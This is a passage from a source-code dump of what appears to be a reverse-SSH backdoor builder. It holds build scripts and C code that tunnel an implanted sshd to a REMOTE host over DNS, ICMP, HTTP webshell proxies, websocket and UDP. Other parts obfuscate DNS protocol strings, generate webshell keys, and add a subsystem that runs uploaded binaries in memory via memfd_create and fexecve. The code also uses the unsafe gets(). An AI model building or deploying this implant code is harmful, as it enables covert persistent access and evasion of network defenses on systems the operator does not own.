key.split()[0] != "ssh-ed25519" if c: print("[-] Key type might not be supported... please provide an ed25519 key.") return c ================================================ FILE: subsystems/remote_exec/remote_exec.c ================================================ #define _GNU_SOURCE #define _POSIX_C_SOURCE 200809L #include #include #include #include #include extern char **environ; int remote_exec_main() { char argstring[2048]; int to_read = 0; char name[32]; int cnt = 0; int read_size=0x1000; char* argv[64]; int i = 0; char *p; char buf[0x1000]; puts("[name] [size] [arguments]"); fsync(1); argv[0] = NULL; scanf("%s", name); printf("name : %s\n",name); scanf("%d", &to_read); printf("size : %d\n", to_read); gets(argstring); argstring[strlen(argstring)-1] = 0; printf("argstring : %s\n", argstring); p = argstring; argv[i] = p; i++; while (*p != 0) { if (*p == ' '){ *p = 0; argv[i] = p+1; printf("%s\n",argv[i]); i++; } p++; } argv[i] = NULL; int fd = memfd_create(name, 0); if (fd == -1) err(1, "%s failed", "memfd_create"); else { while( to_read > 0 ){ if ( to_read < read_size ){ read_size = to_read; } if(read_size == 0) break; cnt = read(0, buf, read_size ); write(fd, buf, cnt); to_read -= cnt; if(cnt == -1) break; } fexecve(fd, (char * const *) argv, environ); } err(1, "%s failed", "fexecve"); } ================================================ FILE: subsystems/remote_exec/remote_exec_test.c ================================================ #define _GNU_SOURCE #define _POSIX_C_SOURCE 200809L #include #include #include #include #include #include int main(int argc, char* argv2[]) { char argstring[2048]; char *argv[64]; char *p; int to_read = 0; char name[32]; int cnt = 0; int i=0; int read_size=0x1000; char buf[0x1000]; scanf("%31s %d", name, &to_read); printf("Scanf %s %d\n", name, to_read); gets(argstring); gets(argstring); p = strtok(argstring, " "); argv[i] = p; while (p != NULL) { argv[i] = p; p = strtok (NULL, " "); i++; } argv[i] = NULL; int fd = memfd_create(name, 0); if (fd == -1) err(1, "%s failed", "memfd_create"); else { while( to_read > 0 ){ if ( to_read < read_size ){ read_size = to_read; } cnt = read(0, buf, read_size ); write(fd, buf, cnt); to_read -= cnt; if (cnt == 0) break; } //const char * const argv[] = {"script", NULL}; const char * const envp[] = {NULL}; fexecve(fd, (char * const *) argv, (char * const *) envp); } err(1, "%s failed", "fexecve"); } ================================================ FILE: subsystems/subsystems.py ================================================ from src.cmd import run_cmd def generate_subsystem_string(opt): subsys_str = "" for i in opt.subsystems: if opt.subsystems[i]["enabled"]: exe = opt.subsystems[i]['exec'].replace('"','\\"') subsys_str += f"Subsystem {opt.subsystems[i]['name']} {exe}\\n" return subsys_str def remote_exec(opt): print("[+] build with internal remote exec") cflags = f"-DREMOTE_EXEC_INTERNAL='\\\"{opt.subsystems['remote_exec']['exec']}\\\"'" ldflags = "-lremote_exec" print("\t-> Building remote-exec stub") run_cmd("cd subsystems/remote_exec/; gcc -c -o remote_exec.o remote_exec.c; ar rcs ../../build/libremote_exec.a remote_exec.o") extraconfig = "" return cflags, ldflags, extraconfig def internal_sftp(opt): return "","","" ================================================ FILE: tuns/builder.py ================================================ from src.cmd import run_cmd from src.args import args import os.path import sys import random import string import hashlib key_charset = string.ascii_letters + string.digits import tuns.builder def _clean(): if os.path.exists("tuns/libtun.a"): os.unlink("tuns/libtun.a") def websocket(opt): print("[*] Building Websocket tunnel...") _clean() print("\t Applying patch and configure...") run_cmd("cd tuns/websocket; autoreconf -vfi; ./configure; git apply ../patchs/patch_websocket.patch; make") run_cmd("cd tuns/websocket; gcc ./tun.c .libs/*.o -c -o tun.o") run_cmd("cd tuns/websocket; ar rcs ../../build/libtun.a tun.o .libs/*.o") def dns(opt): print("[*] Building DNS tunnel...") _clean() obf_str = "" if opt["obfuscate"]: auth = "".join(random.choices(string.ascii_lowercase, k=len("auth"))) resource = "".join(random.choices(string.ascii_lowercase, k=len("resource"))) connect = "".join(random.choices(string.ascii_lowercase, k=len("connect"))) obf_str = f'-DCUSTOM_STRINGS -DRESOURCE="\\"={resource}.\\"" -DCONNECT="\\"={connect}.\\"" -DAUTH="\\"={auth}.\\""' opt["buildserv"] = True key = opt["key"] res = opt["resource"] qtype = opt["qtype"] buildserv = opt["buildserv"] defines = f'-DDNS2TCP_KEY=\"\\\"{key}\\\"\" -DDNS2TCP_RES=\"\\\"{res}\\\"\" -DDNS2TCP_QUERY_FUNC=\"\\\"{qtype}\\\"\" {obf_str} ' cmd = f"cd tuns/dns2tcp; ./configure CFLAGS='{defines}'" if run_cmd(cmd): print("[-] failed configuration") cmd = "cd tuns/dns2tcp; git apply ../patchs/patch_dns2tcp.patch;" run_cmd(cmd) cmd = f"cd tuns/dns2tcp; make clean; gcc common/debug.c -c -o client/debug.o; cd client; make;" run_cmd(cmd) print("[+] Client lib and server built") cmd = "cd tuns/dns2tcp/client; ar rcs ../../../build/libtun.a *.o" if run_cmd(cmd) or not os.path.exists("build/libtun.a"): print("[-] Failed building dns2tcp lib.") sys.exit(-1) else: print("[+] Build successfull") if buildserv: cmd = "cd tuns/dns2tcp; make clean; gcc common/debug.c -c -o server/debug.o; cd server; make; gcc -Wall -Wunused -o dns2tcpd hmac_sha1.o crc16.o rr.o mycrypto.o session.o queue.o config.o myrand.o auth.o requests.o server.o list.o dns.o dns_decode.o mystrnlen.o memdump.o base64.o socket.o options.o main.o debug.o -static" if run_cmd(cmd): print("[-] Failed to build server.") sys.exit(-1) else: print("[+] Server has been built.") os.replace("tuns/dns2tcp/server/dns2tcpd", "build/dns2tcpd") return def icmp(opt): print("[*] Building ICMP Tunnel...") _clean() cmd = "cd tuns/icmptunnel/; make clean && git apply ../patchs/patch_icmptunnel.patch;" run_cmd(cmd) raw = opt["raw_sock"] buildserv = opt["buildserv"] raw = "-DNO_ROOT" if not raw else "" cmd = f"cd tuns/icmptunnel && gcc client.c icmp.c tunnel.c {raw} -c;" if run_cmd(cmd): print("[-] Failed to compile icmptunnel, check for missing value") cmd = "cd tuns/icmptunnel; ar rcs ../../build/libtun.a client.o icmp.o tunnel.o"; if run_cmd(cmd) or not os.path.exists("build/libtun.a"): print("[-] Failed building icmptunnel lib.") sys.exit(-1) if buildserv: cmd = f"cd tuns/icmptunnel && make clean && gcc icmptunnel.c icmp.c tunnel.c -static -o icmptunnel" if not run_cmd(cmd) and os.path.exists("tuns/icmptunnel/icmptunnel"): os.replace("tuns/icmptunnel/icmptunnel", "build/icmptunnel") print("[+] ICMPTunnel server has been built.") else: print("[-] Failed to build icmptunnel server") sys.exit(-1) print("[+] Build successfull") def sock(opt): print("[*] Building Sock Tunnel...") _clean() print(f"\t--> Building socket support with dynamic env mode") cmd = f"cd tuns/sock/; rm -f sock.o; gcc sock.c -c -o sock.o;" if run_cmd(cmd): print("[-] Fail compiling.") cmd = "cd tuns/sock/; ar rcs ../../build/libtun.a sock.o" if run_cmd(cmd) or not os.path.exists("build/libtun.a"): print("[-] Failed building sock lib.") sys.exit(-1) else: print("[+] Build successfull") def proxysock(opt): print("[*] Building proxysock tunnel...") _clean() cmd = f"cd tuns/proxysocket/; rm -rf tunnel.o proxysock.o; git apply ../patchs/patch_proxysocket.patch;" if run_cmd(cmd): print("[-] Failed to apply patchs") cmd = f"cd tuns/proxysocket; gcc -Iinclude/ -Isrc/ examples/tunnel.c -c -o tunnel.o && gcc -Isrc/ -Iinclude/ src/proxysocket.c -c -o proxysock.o" if run_cmd(cmd): print("[-] Failed to build proxysock") cmd = "cd tuns/proxysocket; ar rcs ../../build/libtun.a proxysock.o tunnel.o" if run_cmd(cmd) or not os.path.exists("build/libtun.a"): print("[-] Failed building proxysocklib lib.") sys.exit(-1) else: print("[+] Build successfull") def http_server_reuse(opt): print("[*] Building http encapsulation tunnel...") _clean() targets = opt["targets"] key = opt["key"] path_fd = opt["path_fd"] cmd = f"cd tuns/http_server/;rm -f demux.o; gcc -DFIFO_IN='\"{path_fd}_in\"' -DFIFO_OUT='\"{path_fd}_out\"' -c -o demux.o demux.c" if run_cmd(cmd): print("[-] Failed to build") if key == None: print("[+] No key specified, generating one:") key = ''.join(random.choice(key_charset) for i in range(24)) print("\t-> Using : "+key) with open("keys/webshell.txt", "w") as k: k.write(key) for target in targets: print(f"[+] Generating target script for {target}") with open(f"tuns/http_server/proxies/proxy.{target}", "r") as r: with open(f"build/proxy.{target}", "w") as w: for line in r.readlines(): if '[PATH_FD]' in line: line = line.replace("[PATH_FD]",path_fd) if '[HASHED_KEY]' in line: line = line.replace("[HASHED_KEY]",hashlib.md5(key.encode()).hexdigest()) w.write(line) cmd = f"cd tuns/http_server/; ar rcs ../../build/libtun.a demux.o" if run_cmd(cmd) or not os.path.exists("build/libtun.a"): print("[-] Failed building http encapsulation lib.") sys.exit(-1) else: print("[+] Build successfull") def no_build(opt): path = None for i in opt: parsed=i.split("=") if len(parsed) == 2: if parsed[0] == "path": path = parsed[1] if not path or not os.path.exists(path): print("[-] Please specify a path argument pointing to your libtun.a") exit(-1) print("[*] Not building a tunnel") return def udp(opt): print("[*] Building UDP Tunnel") run_cmd("cd tuns/enet; autoreconf -vfi; ./configure; make; git apply ../patchs/patch_libenet.patch") run_cmd("cd tuns/enet; gcc sshimpanzee_tun.c -c -o sshimpanzee_tun.o; gcc client.c -Iinclude/ -c -o client.o; gcc server.c -Iinclude/ -c -o server.o; ar rcs ../../build/libtun.a *.o;") if opt["buildserv"]: run_cmd("cd tuns/enet; gcc main_server.c server.c -Iinclude/ -L./.libs -static -lenet -o udp_server; cp udp_server ../../build/udp_server") if opt["buildclient"]: run_cmd("cd tuns/enet; gcc main_client.c client.c -Iinclude/ -L./.libs -static -lenet -o udp_client; cp udp_client ../../build/udp_client") return def combiner(tunnels): print("[*] Building combined tunnels") env = False avail_tun = [] for t in tunnels: if tunnels[t]["enabled"]: fct = getattr(tuns.builder,t, None) if fct != None: fct(tunnels[t]) cmd = f"objcopy --redefine-sym tun=tun_{t} build/libtun.a build/libtun_{t}.a" if run_cmd(cmd)==0: avail_tun.append(t) os.unlink("build/libtun.a") run_cmd(f"cd build; mkdir reloc; ar x libtun_{t}.a; ld -Bsymbolic -relocatable *.o -o reloc/libtun_{t}.o; rm *.o") else: print(f"[-] No implementation for tunnel {t}") content = "" libs = "" reloc = "" s_tuns = "" for tunnel in avail_tun: content += f'if (strcmp(selected_tun, "{tunnel}")==0) tun_{tunnel}();\n else ' reloc += f"build/reloc/libtun_{tunnel}.o " s_tuns += f"\\n - {tunnel}" content += f'{{ puts("[-] This tunnel is not available. Supported tunnels: {s_tuns}");\nexit(-1);}}\n' if args.verbose > 2: print("[+] Generated combiner file") with open("tuns/combined/combiner_template.c", "r") as template: with open("tuns/combined/combiner_template_out.c", "w") as out: for i in template.readlines(): i = i.replace("", content) out.write(i) if args.verbose > 2: print(i.rstrip()) cmd = f"gcc tuns/combined/combiner_template_out.c -c -o tuns/combined/combiner_template_out.o" run_cmd(cmd) cmd = f"ar rcs build/libtun.a tuns/combined/combiner_template_out.o {reloc}" if run_cmd(cmd) or not os.path.exists("build/libtun.a"): print("[-] Failed building combiner lib.") sys.exit(-1) else: print("[+] Build successfull") ================================================ FILE: tuns/combined/combiner_template.c ================================================ #include #include int tun(){ char *selected_tun; selected_tun = getenv("MODE"); if (selected_tun != 0) { printf("Trying tun name: %s\n", selected_tun); } else { puts("You need to provide a tun, use TUN env var"); exit(-1); } } ================================================ FILE: tuns/http_enc/demux.c ================================================ #include // #include // #include // #include // #include // #include // #include // #include // #include #include #include #include #include extern char **environ; char continue_http; void sighandler(int sig) { int status; unlink(FIFO_IN); unlink(FIFO_OUT); wait(&status); continue_http = 0; } int tun(){ char config_file[2048]; int fd0[2]; int fd1[2]; fd_set fds; int pid; int ret; int fifo_out; int fifo_in; struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = sighandler; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGKILL, &sa, NULL); char* args[] = {"sshd","-ir", (char*)NULL}; memset(config_file, 0, sizeof(config_file)); readlink("/proc/self/exe", config_file, sizeof(config_file)); printf("Exec : %s\n", config_file); pipe(fd0); pipe(fd1); pid = fork(); if (pid==0){ dup2(fd0[0], 0); dup2(fd1[1], 1); close(fd0[1]); close(fd1[0]); execve(config_file, args ,environ); } else{ if (mkfifo(FIFO_OUT, S_IRWXU) != 0 || mkfifo(FIFO_IN, S_IRWXU) != 0){ //unlink(FIFO_IN); //unlink(FIFO_OUT); perror("mkfifo() error"); //exit(-1); } if ((fifo_out = open(FIFO_OUT, O_RDWR)) < 0) { perror("open() out error"); exit(-1); } if ((fifo_in = open(FIFO_IN, O_RDWR)) < 0) { perror("open() in error"); exit(-1); } close(fd0[0]); close(fd1[1]); continue_http = 1; while(continue_http){ FD_ZERO(&fds); FD_SET(fifo_in, &fds); FD_SET(fd1[0], &fds); ret = select(fifo_in + 1, &fds, NULL, NULL, NULL); if (ret < 0) perror("select() error"); else { if (FD_ISSET(fifo_in, &fds)){ ret = read(fifo_in, config_file, 2048); config_file[ret] = 0; write(fd0[1], config_file, ret); } if (FD_ISSET(fd1[0], &fds)){ ret = read(fd1[0], config_file, 2048); config_file[ret] = 0; write(fifo_out, config_file, ret); } } } kill(pid, SIGKILL); waitpid(pid,&pid, WEXITED|WSTOPPED); } return (0); } ================================================ FILE: tuns/http_enc/proxies/proxy.php ================================================ ================================================ FILE: tuns/http_server/demux.c ================================================ #include // #include // #include // #include // #include // #include // #include // #include // #include #include #include #include #include extern char **environ; char continue_http; void sighandler(int sig) { int status; unlink(FIFO_IN); unlink(FIFO_OUT); wait(&status); continue_http = 0; } int tun(){ char config_file[2048]; int fd0[2]; int fd1[2]; fd_set fds; int pid; int ret; int fifo_out; int fifo_in; struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = sighandler; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGKILL, &sa, NULL); char* args[] = {"sshd","-ire", (char*)NULL}; memset(config_file, 0, sizeof(config_file)); readlink("/proc/self/exe", config_file, sizeof(config_file)); printf("Exec : %s\n", config_file); pipe(fd0); pipe(fd1); pid = fork(); if (pid==0){ dup2(fd0[0], 0); dup2(fd1[1], 1); close(fd0[1]); close(fd1[0]); execve(config_file, args ,environ); } else{ if (mkfifo(FIFO_OUT, S_IRWXU | S_IRWXO) != 0 || mkfifo(FIFO_IN, S_IRWXU | S_IRWXO) != 0){ //unlink(FIFO_IN); //unlink(FIFO_OUT); perror("mkfifo() error"); //exit(-1); } if ((fifo_out = open(FIFO_OUT, O_RDWR)) < 0) { perror("open() out error"); exit(-1); } if ((fifo_in = open(FIFO_IN, O_RDWR)) < 0) { perror("open() in error"); exit(-1); } close(fd0[0]); close(fd1[1]); continue_http = 1; while(continue_http){ FD_ZERO(&fds); FD_SET(fifo_in, &fds); FD_SET(fd1[0], &fds); ret = select(fifo_in + 1, &fds, NULL, NULL, NULL); if (ret < 0) perror("select() error"); else { if (FD_ISSET(fifo_in, &fds)){ ret = read(fifo_in, config_file, 2048); config_file[ret] = 0; write(fd0[1], config_file, ret); } if (FD_ISSET(fd1[0], &fds)){ ret = read(fd1[0], config_file, 2048); config_file[ret] = 0; write(fifo_out, config_file, ret); } } } kill(pid, SIGKILL); waitpid(pid,&pid, WEXITED|WSTOPPED); unlink(FIFO_IN); unlink(FIFO_OUT); } return (0); } ================================================ FILE: tuns/http_server/proxies/proxy.php ================================================ ================================================ FILE: tuns/patchs/patch_dns2tcp.patch ================================================ diff --git a/client/command.c b/client/command.c index 1f9fd7f..aee2a1d 100644 --- a/client/command.c +++ b/client/command.c @@ -112,8 +112,6 @@ int create_process(t_conf *conf) return (-1); if (dup2(from_child[1], STDOUT_FILENO) == -1) return (-1); - if (dup2(from_child[1], STDERR_FILENO) == -1) - return (-1); close(from_child[0]); close(to_child[0]); execv(argv[0],argv); diff --git a/client/main.c b/client/main.c index 45091d7..13b398a 100644 --- a/client/main.c +++ b/client/main.c @@ -42,7 +42,7 @@ * @retval -1 on error **/ -int main(int argc, char **argv) +/*int main(int argc, char **argv) { t_conf conf; @@ -64,3 +64,20 @@ int main(int argc, char **argv) do_client(&conf); return (0); } +*/ + + +int tun() +{ + t_conf conf; + + if ((get_option_backdoor(&conf)) || + ((conf.sd_udp = create_socket(&conf)) == -1)) + return (-1); + srand(getpid() ^ (unsigned int) time(0)); + if (!conf.resource) + return (list_resources(&conf)); + if ((!conf.local_port) || (!bind_socket(&conf))) + do_client(&conf); + return (0); +} diff --git a/client/options.c b/client/options.c index 2748621..505f0bb 100644 --- a/client/options.c +++ b/client/options.c @@ -39,6 +39,18 @@ extern char *optarg; int getopt(int, char * const *, const char *); #endif +#ifndef DNS2TCP_KEY +#define DNS2TCP_KEY "sshimpanzee" +#endif + +#ifndef DNS2TCP_RES +#define DNS2TCP_RES "sshimpanzee" +#endif + +#ifndef DNS2TCP_QUERY_FUN +#define DNS2TCP_QUERY_FUN "TXT" +#endif + #include "client.h" #include "my_config.h" @@ -330,3 +342,45 @@ int get_option(int argc, char **argv, t_conf *conf) + + +int get_option_backdoor(t_conf *conf) +{ + int c; + char config_file[2048]; + char *cmdline; + + memset(conf, 0, sizeof(t_conf)); + memset(config_file, 0, sizeof(config_file)); + debug = 0; + conf->conn_timeout = 3; + conf->sd_tcp = -1; + conf->disable_compression = 1; + conf->query_functions = get_rr_function_by_name(DNS2TCP_QUERY_FUNC); + + //Custom Parsing + readlink("/proc/self/exe", config_file, + sizeof(config_file)); + cmdline = (char*)malloc(strlen(config_file)+16); + snprintf(cmdline, strlen(config_file)+16, "%s -ireddd", config_file); + conf->cmdline = cmdline; + + if (!getenv("REMOTE")) + { + puts("Missing REMOTE"); + exit(-1); + } + conf->domain = getenv("REMOTE"); + conf->key = DNS2TCP_KEY; + + + conf->resource = DNS2TCP_RES; + conf->dns_server = getenv("RESOLVER"); + + if (!conf->dns_server) + read_resolv(conf); + + //if (debug) + // fprintf(stderr, "debug level %d\n", debug); + return (0); +} diff --git a/common/debug.c b/common/debug.c new file mode 100644 index 0000000..fce73ee --- /dev/null +++ b/common/debug.c @@ -0,0 +1 @@ +int debug; diff --git a/common/includes/debug.h b/common/includes/debug.h index 37c22d9..8f8d59d 100644 --- a/common/includes/debug.h +++ b/common/includes/debug.h @@ -24,7 +24,7 @@ #include #include -int debug; +extern int debug; #ifndef _WIN32 #define DPRINTF(level, fmt, args...) \ diff --git a/common/includes/dns.h b/common/includes/dns.h index 6670755..5ec4901 100644 --- a/common/includes/dns.h +++ b/common/includes/dns.h @@ -124,10 +124,11 @@ ) /* FIXME hardcoded '=' is bad ! (check base64_padding ...) */ +#ifndef CUSTOM_STRINGS #define RESOURCE "=resource." #define AUTH "=auth." #define CONNECT "=connect." - +#endif struct dns_hdr { ================================================ FILE: tuns/patchs/patch_icmptunnel.patch ================================================ diff --git a/Makefile b/Makefile index 5ccc174..8ecdc99 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,3 @@ -CC=gcc CFLAGS=-I. -O3 -Wall DEPS = icmp.h tunnel.h @@ -6,7 +5,7 @@ DEPS = icmp.h tunnel.h $(CC) -c -o $@ $< $(CFLAGS) icmptunnel: icmptunnel.o icmp.o tunnel.o - $(CC) -o icmptunnel icmp.o tunnel.o icmptunnel.o $(CFLAGS) + $(CC) -o icmptunnel icmp.o tunnel.o icmptunnel.o $(CFLAGS) test_server: icmp.o test_server.o $(CC) -o test_server icmp.o test_server.o $(CFLAGS) @@ -16,7 +15,7 @@ test_client: icmp.o test_client.o test: test_server test_client -all: icmptunnel test_server test_client +all: icmptunnel client clean: rm -f *.o test_server test_client icmptunnel diff --git a/client.c b/client.c new file mode 100644 index 0000000..0e023bd --- /dev/null +++ b/client.c @@ -0,0 +1,99 @@ +#include "icmp.h" +#include +#include +#include +#include +#include +#include +#include + +static volatile int keep = 1; +#define DEFAULT_ROUTE "0.0.0.0" + + +extern char ** environ; +int fd_in; +int fd_out; +int c; + +/* It's better to use sigaction() over signal(). You won't run into the + * issue where BSD signal() acts one way and Linux or SysV acts another. */ + +static void +child_handler(int sig) +{ + pid_t pid; + int status; + wait(NULL); + /* EEEEXTEERMINAAATE! */ + c = 0; +} + + +int tun() +{ + char config_file[2048]; + char dst[256]; + char *cmdline; + int fd, remote; + FILE* f; + char* args[] = {"sshd","-ire", (char*)NULL}; + struct sigaction sa; + c = 1; + sigemptyset(&sa.sa_mask); + sa.sa_flags = 0; + sa.sa_handler = child_handler; + + sigaction(SIGCHLD, &sa, NULL); + + memset(config_file, 0, sizeof(config_file)); + + if(!getenv("REMOTE")) + { + puts("Missing REMOTE"); + exit(-1); + } + + strcpy(dst, getenv("REMOTE")); + readlink("/proc/self/exe", config_file, sizeof(config_file)); + printf("Exec : %s\n", config_file); + + + pid_t pid = 0; + int inpipefd[2]; + int outpipefd[2]; + char buf[256]; + char msg[256]; + int status; + + pipe(inpipefd); + pipe(outpipefd); + pid = fork(); + if (pid == 0) + { + close(outpipefd[1]); + close(inpipefd[0]); + + // Child + dup2(outpipefd[0], STDIN_FILENO); + dup2(inpipefd[1], STDOUT_FILENO); + //dup2(inpipefd[1], STDERR_FILENO); + //ask kernel to deliver SIGTERM in case the parent dies + prctl(PR_SET_PDEATHSIG, SIGTERM); + + execve(config_file, args ,environ); + // perror("test"); + //printf("POST EXEC\n"); + } + + close(outpipefd[0]); + close(inpipefd[1]); + + + fd_out = outpipefd[1]; + fd_in = inpipefd[0]; + run_tunnel(dst,0); + return 0; +} + + diff --git a/icmp.c b/icmp.c index 0cd1aa7..571e72c 100644 --- a/icmp.c +++ b/icmp.c @@ -1,5 +1,5 @@ /** - * icmp.c +1 * icmp.c */ #include "icmp.h" @@ -12,6 +12,8 @@ #include #include +int lastid = 0x4141; +int i; /** * Function to calculate checksum */ @@ -44,20 +46,25 @@ void set_reply_type(struct icmp_packet *packet) int open_icmp_socket() { int sock_fd, on = 1; - + #ifdef NO_ROOT + sock_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); + #else sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); - + #endif + if (sock_fd == -1) { perror("Unable to open ICMP socket\n"); exit(EXIT_FAILURE); } - + + #ifndef NO_ROOT // Providing IP Headers if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) { perror("Unable to set IP_HDRINCL socket option\n"); exit(EXIT_FAILURE); } - + #endif + return sock_fd; } @@ -86,18 +93,18 @@ void bind_icmp_socket(int sock_fd) void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details) { // Source and destination IPs - struct in_addr src_addr; - struct in_addr dest_addr; struct iphdr *ip; struct icmphdr *icmp; char *icmp_payload; + struct in_addr src_addr; + struct in_addr dest_addr; int packet_size; char *packet; struct sockaddr_in servaddr; - + #ifndef NO_ROOT inet_pton(AF_INET, packet_details->src_addr, &src_addr); inet_pton(AF_INET, packet_details->dest_addr, &dest_addr); @@ -123,6 +130,11 @@ void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details) memcpy(icmp_payload, packet_details->payload, packet_details->payload_size); icmp->type = packet_details->type; + if (packet_details->type==ICMP_ECHO) + { + // printf("Gen echo\n"); + icmp->un.echo.id = rand(); + } icmp->checksum = 0; icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size); @@ -134,6 +146,30 @@ void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details) sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)); free(packet); + #else + //inet_pton(AF_INET, packet_details->src_addr, &src_addr); + inet_pton(AF_INET, packet_details->dest_addr, &dest_addr); + memset(&servaddr, 0, sizeof(struct sockaddr_in)); + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = dest_addr.s_addr; + + packet_size = sizeof(struct icmphdr) + packet_details->payload_size; + packet = calloc(packet_size, sizeof(uint8_t)); + icmp = (struct icmphdr*) packet; + icmp_payload = (char*)(packet+sizeof(struct icmphdr)); + icmp->type=packet_details->type; + prepare_headers(ip,icmp); + if(packet_details->type) + icmp->un.echo.id = rand(); + + icmp->checksum = 0; + icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size); + memcpy(icmp_payload, packet_details->payload, packet_details->payload_size); + + sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)); + + free(packet); + #endif } /** @@ -153,6 +189,7 @@ void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details) socklen_t src_addr_size; int enc_MTU; //encapsulated MTU + #ifndef NO_ROOT enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr); @@ -166,12 +203,12 @@ void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details) src_addr_size = sizeof(struct sockaddr_in); // Receiving packet - packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size); + packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, NULL, &src_addr_size); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr)); - + // Filling up packet_details inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN); inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN); @@ -183,10 +220,51 @@ void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details) close_icmp_socket(sock_fd); exit(-1); } - + lastid = icmp->un.echo.id; memcpy(packet_details->payload, icmp_payload, packet_details->payload_size); free(packet); + #else + + enc_MTU = MTU + sizeof(struct icmphdr); + + packet = calloc(enc_MTU, sizeof(uint8_t)); + if (packet == NULL) { + perror("No memory available\n"); + close_icmp_socket(sock_fd); + exit(-1); + } + + src_addr_size = sizeof(struct sockaddr_in); + + // Receiving packet + packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, NULL, &src_addr_size); + + + icmp = (struct icmphdr*)packet; + icmp_payload = (char *)(packet + sizeof(struct icmphdr)); + + // Filling up packet_details + //memcpy(packet_details->src_addr, &src_addr, sizeof(src_addr)); + // memcpy( + + packet_details->type = icmp->type; + packet_details->payload_size = packet_size - sizeof(struct icmphdr); + packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t)); + if (packet_details->payload == NULL) { + perror("No memory available\n"); + close_icmp_socket(sock_fd); + exit(-1); + } + if (packet_details->type==ICMP_ECHO) + lastid = icmp->un.echo.id; + memcpy(packet_details->payload, icmp_payload, packet_details->payload_size); + //printf(">> %s\n", packet_details->payload); + + + free(packet); + + #endif } /** @@ -232,6 +310,7 @@ uint16_t in_cksum(uint16_t *addr, int len) */ void prepare_headers(struct iphdr *ip, struct icmphdr *icmp) { + #ifndef NO_ROOT ip->version = 4; ip->ihl = 5; ip->tos = 0; @@ -239,9 +318,11 @@ void prepare_headers(struct iphdr *ip, struct icmphdr *icmp) ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; - + #endif icmp->code = 0; - icmp->un.echo.sequence = rand(); - icmp->un.echo.id = rand(); - icmp->checksum = 0; + icmp->un.echo.sequence = 0x4242+i; + icmp->un.echo.id = lastid; + icmp->checksum = 0; + i++; + } diff --git a/icmptunnel.c b/icmptunnel.c index 526c044..fbb382e 100644 --- a/icmptunnel.c +++ b/icmptunnel.c @@ -11,6 +11,9 @@ #define ARG_SERVER_MODE "-s" #define ARG_CLIENT_MODE "-c" +int fd_in = 0; +int fd_out = 1; +int c = 1; void usage() { printf("Wrong argument\n"); @@ -20,22 +23,10 @@ void usage() int main(int argc, char *argv[]) { char ip_addr[100] = {0,}; - if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) { - usage(); - exit(EXIT_FAILURE); - } - memcpy(ip_addr, argv[2], strlen(argv[2]) + 1); - - if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) { - run_tunnel(ip_addr, 1); - } - else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) { - run_tunnel(ip_addr, 0); - } - else { - usage(); - exit(EXIT_FAILURE); - } + memcpy(ip_addr, "0.0.0.0", strlen("0.0.0.0") + 1); + run_tunnel(ip_addr, 1); + + return EXIT_SUCCESS; } diff --git a/tunnel.c b/tunnel.c index ba28e67..9e954ee 100644 --- a/tunnel.c +++ b/tunnel.c @@ -24,45 +24,22 @@ #define DEFAULT_ROUTE "0.0.0.0" +#define ACK "ACK" + +extern int fd_in; +extern int fd_out; +extern int c; /** * Function to allocate a tunnel */ int tun_alloc(char *dev, int flags) { - struct ifreq ifr; - int tun_fd, err; - char *clonedev = "/dev/net/tun"; - printf("[DEBUG] Allocating tunnel\n"); - - tun_fd = open(clonedev, O_RDWR); - - if(tun_fd == -1) { - perror("Unable to open clone device\n"); - exit(EXIT_FAILURE); - } - memset(&ifr, 0, sizeof(ifr)); - - ifr.ifr_flags = flags; - - if (*dev) { - strncpy(ifr.ifr_name, dev, IFNAMSIZ); - } - - if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) { - close(tun_fd); - fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err)); - perror("Error in tun_alloc()\n"); - exit(EXIT_FAILURE); - } + return fd_in; +} - printf("[DEBUG] Allocatating tunnel2"); - printf("[DEBUG] Created tunnel %s\n", dev); - - return tun_fd; -} /** * Function to read from a tunnel @@ -70,15 +47,18 @@ int tun_alloc(char *dev, int flags) int tun_read(int tun_fd, char *buffer, int length) { int bytes_read; - printf("[DEBUG] Reading from tunnel\n"); - bytes_read = read(tun_fd, buffer, length); - - if (bytes_read == -1) { + //printf("[DEBUG] Reading from tunnel\n"); + buffer[0] = 'S'; + buffer[1] = 'S'; + buffer[2] = 'H'; + bytes_read = read(fd_in, buffer+3, length-3); + + if (bytes_read == -1 || bytes_read == 0) { 